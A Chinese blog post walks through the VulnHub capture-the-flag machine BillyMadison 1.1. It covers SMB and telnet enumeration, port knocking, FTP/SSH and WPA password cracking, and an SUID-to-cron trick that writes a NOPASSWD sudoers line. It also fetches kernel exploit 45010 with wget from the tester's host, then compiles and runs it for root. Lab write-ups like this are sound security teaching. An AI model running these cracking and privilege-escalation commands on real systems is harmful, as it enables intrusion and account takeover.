• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-BillyMadison1dot1通关教程

主要是打多了感觉没必要在这解释太多毕竟是靶场环境。。。靶机171

nmap 192.168.135.0/24 -sP

这里我们看到445那就是smb枚举

nmap 192.168.135.171

我们发现80,22,23,139,445.2525我们从80枚举信息,139,445是smb的端口,还发现了smtp端口改成了2525可以用23telnet连接枚举它。目的都是为了拿到webshell或者sshshell。

nmap 192.168.135.171 -p- -A

对于smb的活nmap也是可以枚举的之前打过了。。。

我们发现他可以匿名登录和写入\EricsSecretStuff

Nmap -v --script smb-eunm-shared.nse -p445 192.168.135.171

我们可以通过smbclient登录smb枚举信息。

Smbclient \\\\192.168.135.171\\EricsSecretStuff\\

我们也可以用之前用过的工具枚举所有信息。这里我们发现三个用户,Billy、Veronica和Eric

Enum4linux -a 192.168.135.171

然后用smbclient进入枚举

Smbclient -L //192.168.135.171

效果是一样的

Smbclient ///EricsSecretStuff -I 192.168.135.171 -N

直接告诉我们关闭。。。又打一次。。。

这里我们连接telnet发现曾经使用过rkfpuzrahngvatROT10的密码就是现在的ROT13

Telent 192.168.135.171 23

我们可以使用在线工具来解密也可以使用kali的命令,我们知道ROT13是根据字符偏移来加密的。

echo rkfpuzrahngvat | tr a-z n-za-m

tr指令从标准输入设备读取数据,经过字符串转译后,将结果输出到标准输出设备。

我们访问web信息,发现veronica可能是一个密码的信息,我们将密码本里的veronica过滤出来,看到密码只剩733大大提升效率了。我们还发现这个无线的信息,那有cap的文件我们wfuzz测试一下。

Locate rockyou.txt

Grep ‘veronica’ /usr/share/wordlists/rockyou.txt > yang

我们利用wfuzz测试一下是否有隐藏的cap文件,我们看到确实有两个我们将其下载下来用wireshark分析。用FUZZ.cap替换用来模糊测试。

Wfuzz -c –hc=400,404 -z file,yang http://192.168.135.171/exschmenuating/FUZZ.cap

我们将他下载到本地,浏览器默认存放下载目录,我喜欢放到桌面目录。

我们用wireshark分析流量包,用tcp流来分析它。

wireshark 012987veronica.cap

tcp.stream eq 1

我们通过分析流量包,发现又是youtobe上面的视频信息,我们要科学。。。发现他需要我们进行端口敲震。

根据网站,我们观看完视频获得提示信息根据提示信息进行端口敲震,敲震完后才能看到开放了ftp端口。

knock -v 192.168.135.171 1466 67 1469 1514 1981 1986

nmap 192.168.135.171 -p21

我们发现通过敲震之后ftp端口成功开启。我们枚举出来了eric的账号密码。

Tcp.stream eq 2

eric// ericdoesntdrinkhisownpee

我们输入命令后发现没有输出显示,那是因为这个是被动模式,ftp分为两种模式,一个是主动模式一个是被动模式。被动模式是ftp开启一个IP和端口返回给客户端,客户端去连返回的这个IP和端口。。。主动模式是ftp服务器主动发起连接连接客户端的IP和端口。

ftp 192.168.135.171

passive off

因为我们下载的这个是.文件,要看到它得ls -al,cat .notes

新的隐密端口将打开,存在Wifi密码,Veronica或Billy知道密码,签入Veronica的FTP文件夹。观看了视频,13秒的视频,念了一句话:My kid will be a soccer player

新的端口开放,WiFi密码,Veronica或Billy知道密码,爆破Veronica ftp用户,发送邮件:My kid will be a soccer player

这里我们使用ncrack来爆破,要将上面的yang改为yang.txt字典。哎?好像不用改名也行的捏。。。我们得到账号veronica密码babygirl_veronica07@yahoo.com

我们登录他的ftp枚举信息。他的同样是被动模式,需要我们客户端自己去链接,IP不一致就无法访问到,我们关闭被动连接。

ftp 192.168.135.171

账号veronica密码babygirl_veronica07@yahoo.com

passive off

这里提示了用了swaks发送邮件X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/讲述了他如何破解 Eric 的无线密码

这里根据提示用swaks来进行smtp邮件发送,这里的smtp端口是2525

swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.135.171:2525 --body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"

.cap文件就是流量文件,流量就像Wireless traffic和eml文件一样

这边需要破解WPA/WPA2密码,可以用aircrack-ng或hashcat来完成。

aircrack-ng -w /usr/share/wordlists/rockyou.txt eg-01.cap

这个就是在爆破了的,当然还有一种方法爆破它一天不过没有必要。

hydra -l eric -P /usr/share/wordlists/rockyou.txt -s 1974 ssh://192.168.135.171

当然hashcat也是能够破解WAP的这里我就不展示了,将cap转换成hashcat能够识别的格式用hashcat的WAP格式就好

hashcat的使用方法

安装转换工具

apt install hcxtools

将其转换成hashcat支持的格式hc22000

hcxpcapngtool -o eg-01.hc22000 eg-01.cap

-m 哈希类型WPA/WPA2 -a攻击模式

hashcat -m 22000 -a 0 eg-01.hc22000 /usr/share/wordlists/rockyou.txt

这里我们爆破出了ssh的登录密码triscuit*

我们直接登录就好了

ssh eric@192.168.135.171 -p 1974

triscuit*

这里我们分析一下这个cap文件

find / -name eg-01.cap 2>/dev/null

cp /opt/coloradoftp-prime/home/veronica/eg-01.cap /tmp

我们发现这一直在连接,那么他开启了防火墙的概率很大,枚举脚本也跑不起了。。。我们只能手工枚举一些必要的东西了。。。

Cat /etc/passwd

Id billy//id veronica//id eric

枚举SUID信息我们扫出/usr/local/share/sgml/donpcgd

Find / -perm -4000 2>/dev/null

我们枚举eric的信息

Find / -name eric 2>/dev/null | grep -v “Permission denied\|proc”

Find / -name eric 2>&1 | grep -v “Permission denied\|proc”

我们运行程序发现出了问题。。。这里提示我们要有两个路径我们就自己创建一个路径在tmp下

ls -la /usr/local/share/sgml/donpcgd

cd /usr/local/share/sgml/

./donpcgd

我们在tmp下创建yang文件。输入拥有执行权限,我们再次运行程序发现运行成功,我们把目的路径换成eric发现exists

Touch yang

Echo ‘hello’ yang

/usr/local/share/sgml/donpcgd /tmp/yang /home/eric/yang

/usr/local/share/sgml/donpcgd /tmp/yang /home/eric/

这里我们成功在/home/eric/下创建了杨并且拥有写入权限,但是现在里面没有东西,懂我意思吧。我们往里写入一句话

同样的思路,我们利用donpcgd在tmp创建yang1,同时在cron.hourly下同步创建yang1,并将/bin/bash写入计划任务,1个小时后就会给我们反弹一个shell回来。

Touch /tmp/yang1

/usr/local/share/sgml/donpcgd /tmp/yang1 /etc/cron.hourly/yang1

echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /etc/cron.hourly/yang1

chmod +x /etc/cron.hourly/yang1

cat /etc/cron.hourly/yang1

发现我们成功在cron.hourly创建yang1并且成功写入/bin/bash

我们直接用内核提权进入root,我们发现可以使用45010

在kali发现漏洞库存在程序,我们只需要将其下载上传到靶机编译即可提升到root权限

Searchsploit 45010

Searchsploit -m 45010.c

Python -m http.server 8000

按照作者提示gcc编译成功提权root

Wget http://192.168.135.155:8000/45010.c

Gcc 45010.c -o yang

Chmod 777 yang

./yang

我们发现cron.hourly任务不是一个小时执行一次,是一个小时的17分钟执行一次

Cat /etc/crontab

我们发现root下没有flag信息,这个是在eric下有个加密卷,我们还有爆破密码才行

我们看看提示,这里hint.txt说密码放在了网站下,flag就放在了BowelMovement

我们发现他说flag在billy下的BowelMovement里,但是密码在网站https://en.wikipedia.org/wiki/Billy_Madison

我们用爬虫cewl一下就获得了一个字典。。。

Proxychains cewl -d 1 https://en.wikipedia.org/wiki/Billy_Madison -w yang1.txt

我们将加密卷复制到我们能够操作的用户下

Cp BowelMovement /home/eric/

我们通过scp下载到本地

scp -P 1974 eric@192.168.135.171:/home/eric/BowelMovement ./

triscuit*

这里我们使用truecrack来爆破

truecrack -v -t BowelMovement -w yang1.txt

truecrack -v -t BowelMovement -w yang1.txt | grep -v NO

我们爆破出来密码execrable

挂载加密卷,输入密码在我们电脑创建虚拟盘符

A盘里面有secret.zip下载就可以了

成功拿到了flag的信息。

总结一下我们从smb和telnet枚举出用户和ROT13加密信息,我们解密完发现是web路径,我们访问路径发现还隐藏着html信息里面是pcap的流量包,我们解析流量包发现了ftp的账号密码,我们敲震端口,打开ftp。从ftp发现eric的无线密码,破解完登录ssh。这里破解cap的包使用aircrack,速度是最快的,也能使用hydra就是密码本太大了,hashcat爆破需要将cap文件转化为hashcat能分析的格式。登录eric的ssh,我们枚举SUID发现eric的可写入可执行文件,我们无法直接运行程序,但是可以生成空文件将命令写入然后指向我们生成的文件也能指向命令。我们还发现了corn任务,按照相同的方法指向计划任务一个小时获得shell。我们用内核提权,发现了计划任务17分钟执行一次。我们发现root下没有flag,但是获得网站,破解密码得到一个加密卷,输入密码在挂载盘访问加密卷secret.txt获得本台靶机的flage。

posted on 2026-10-29 20:36  驿般般  阅读(4)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3